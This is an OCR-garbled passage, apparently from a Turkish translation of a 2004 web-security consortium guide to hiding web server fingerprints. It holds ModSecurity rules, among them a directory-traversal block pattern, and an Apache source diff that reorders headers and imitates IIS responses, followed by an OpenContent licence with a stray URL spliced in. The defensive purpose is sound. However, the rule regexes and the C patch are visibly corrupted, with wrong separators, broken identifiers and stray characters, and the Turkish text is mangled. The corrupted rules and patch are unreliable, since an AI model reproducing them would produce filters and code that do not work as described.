# This will return a 403 - Forbidden Status Code for all Mod_Security actions
SecFilterDefaultAction "deny,log,status:403"

# This will deny directory traversals
SecFilter "\.\./"

# This entry forces compliance of the request method. Any requests that do NOT
# start with either GET[HEAD|POST will be denied. This will catch/trigger on

# junk methods.

SecFilterSelective THE REQUEST "!"(GET|HEAD|POST)"

# This entry will force HTTP compliance to the end portion of the request. If
# the request does NOT end with a valid HTTP version, then it will be denied.
SecFilterSelective THE REQUEST "!HTTPV(0\.9/1\.0/1\.1)$"

5. Kaynak Kodu Degistirme

Bu parmak izi degistirme Onlemlerinden en zor fakat en etkili olan1 budur. Bu iste riskin 6diile orani
programlama becerinizin seviyesine ve web yapiniza gore biiyiik Olgiide degisebilir. Genel olarak
konusursak, bu isi web sunucunuzun kaynak kodunu derlemeden 6nce veya makina kodunu bir editor
yardimu ile direk olarak degistirerek yapabilirsiniz. Apache gibi agik kaynak kodlu web sunucular i¢in bu
is daha kolaydir ¢iinkii kaynak koduna erisiminiz vardir.

Baslik Siralamasi - Asagidaki Apache 1.3.29 sunucusu i¢in DATE/SERVER siralamasini diizeltecek ve
IIS OPTIONS c¢ikt1 bilgisini taklit edecek bir yama kodudur. Bu yama /apache 1.3.29/src/main dizini
icerisindeki http protocol.c dosyasimi yeniler. OPTIONS boliimii normal olarak IIS cevap alanlar ile
iligkilendirilen bagliklarin doniilmelerini saglar. Bu bagliklar Public, DASL, DAV ve Cache-Control'ii
kapsar.

--- http_protocol.c.orig Mon Apr 26 02:11:58 2004
+++ http_protocol.c  Mon Apr 26 02:43:31 2004
@@ -1597,9 +1597,6 @@

/* output the HTTP/1.x Status-Line */

ap_rvputs(r, protocol, " ", r->status_line, CRLF, NULL);



- /* output the date header */

- ap send header field(r, "Date", ap_gm timestr 822(r->pool, r->request_time));
/* keep the set-by-proxy server header, otherwise
* generate a new server header */
if (r->proxyreq) {

@@ -1612,6 +1609,9 @@

ap send header field(r, "Server", ap_get server version());

}

+ /* output the date header */
+ ap_send header field(r, "Date", ap_gm_timestr 822(r->pool, r->request_time));
J’_

/* unset so we don't send them again */

ap_table unset(r->headers out, "Date"); /* Avoid bogosity */

ap_table unset(r->headers out, "Server");

@@ -1716,7 +1716,9 @@
ap_basic_http _header(r);

ap_table setn(r->headers_out, "Content-Length", "0");
+ ap table setn(r->headers out, "Public", "OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST,
COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH");

ap_table setn(r->headers_out, "Allow", make allow(r));
+ ap_table setn(r->headers_out, "Cache-Control", "private");

ap_set keepalive(r);

ap_table do((int (*) (void *, const char *, const char *))
ap_send header field,
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13 License
Terms and Conditions for Copying, Distributing, and Modifying

Items other than copying, distributing, and modifying the Content with which this license was
distributed (such as using, etc.) are outside the scope of this license.

1. You may copy and distribute exact replicas of the OpenContent (OC) as you receive it, in any
medium, provided that you conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License
and to the absence of any warranty; and give any other recipients of the OC a copy of this
License along with the OC. You may at your option charge a fee for the media and/or handling
involved in creating a unique copy of the OC for use offline, you may at your option offer
instructional support for the OC in exchange for a fee, or you may at your option offer warranty
in exchange for a fee. You may not charge a fee for the OC itself. You may not charge a fee for
the sole service of providing access to and/or use of the OC via a network (e.g. the Internet),
whether it be via the world wide web, FTP, or any other method.

2. You may modify your copy or copies of the OpenContent or any portion of it, thus forming
works based on the Content, and distribute such modifications or work under the terms of Section
1 above, provided that you also meet all of these conditions:

a) You must cause the modified content to carry prominent notices stating that you changed it,
the exact nature and content of the changes, and the date of any change.

b) You must cause any work that you distribute or publish, that in whole or in part contains or is
derived from the OC or any part thereof, to be licensed as a whole at no charge to all third parties
under the terms of this License, unless otherwise permitted under applicable Fair Use law.

These requirements apply to the modified work as a whole. If identifiable sections of that work
are not derived from the OC, and can be reasonably considered independent and separate works
in themselves, then this License, and its terms, do not apply to those sections when you distribute
them as separate works. But when you distribute the same sections as part of a whole which is a
work based on the OC, the distribution of the whole must be on the terms of this License, whose
permissions for other licensees extend to the entire whole, and thus to each and every part
regardless of who wrote it. Exceptions are made to this requirement to release modified works
free of charge under this license only in compliance with Fair Use law where applicable.


http://www.port80software.com/products/servermask/

3. You are not required to accept this License, since you have not signed it. However, nothing
else grants you permission to copy, distribute or modify the OC. These actions are prohibited by
law if you do not accept this License. Therefore, by distributing or translating the OC, or by
deriving works herefrom, you indicate your acceptance of this License to do so, and all its terms
and conditions for copying, distributing or translating the OC.

NO WARRANTY

4. BECAUSE THE OPENCONTENT (OC) IS LICENSED FREE OF CHARGE, THERE IS NO
WARRANTY FOR THE OC, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS
AND/OR OTHER PARTIES PROVIDE THE OC "AS IS" WITHOUT WARRANTY OF ANY
KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK OF USE OF THE OC IS WITH YOU. SHOULD THE OC
PROVE FAULTY, INACCURATE, OR OTHERWISE UNACCEPTABLE YOU ASSUME
THE COST OF ALL NECESSARY REPAIR OR CORRECTION.

5. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY
MIRROR AND/OR REDISTRIBUTE THE OC AS PERMITTED ABOVE, BE LIABLE TO
YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
OC, EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.

Copyright 2004, Web Application Security Consortium. All rights reserved.
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